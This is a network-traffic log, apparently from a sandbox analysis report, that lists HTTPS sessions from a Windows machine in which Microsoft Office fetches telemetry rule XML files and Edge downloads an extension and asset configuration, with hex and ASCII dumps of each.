2024-10-31 00:18:45 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:43 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: a3e027ec-201e-0071-5daf-2aff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001843Z-17c5cb586f626sn8grcgm1gf80000000075g00000000h397 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:43 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:43 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001843Z-16849878b786fl7gm2qg4r5y7000000008x000000000x6xh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:43 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:43 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 24b2bddd-501e-0016-07ca-2a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001843Z-16849878b78km6fmmkbenhx76n000000085g000000005d62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:43 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:43 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001843Z-16849878b78x6gn56mgecg60qc0000000ak000000000ez3h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:43 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:43 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:43 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ab4434b-401e-000a-2f95-2a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001843Z-159b85dff8flqhxthC1DFWsvrs00000000h000000000gn2k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:44 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: af778f23-101e-007a-027e-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001844Z-17c5cb586f66g7mvgrudxte95400000003ug000000004b3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:44 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:44 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 6b9dd186-401e-00ac-3778-2a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001844Z-15b8d89586fvk4kmbg8pf84y8800000009kg00000000hupz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:44 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001844Z-17c5cb586f6zcqf8r7the4ske0000000010000000000khzt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:44 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001844Z-16849878b78g2m84h2v9sta29000000007t0000000000v3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:44 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49886	152.195.19.97	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	626	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730938720&P2=404&P3=2&P4=YXoZKYhH6zmMaUU%2foyc%2fD%2fnyS4%2fh0iuv73JkV%2fzHB%2bg8tuiHVHG0CiEU6mstkozeARzpQUnIZkfiDWb%2fbfXi6Q%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: ZXdcjhl1IqClbq4CHZd/Hn Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:44 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 10260455 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Thu, 31 Oct 2024 00:18:44 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-10-31 00:18:44 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49891	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:44 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
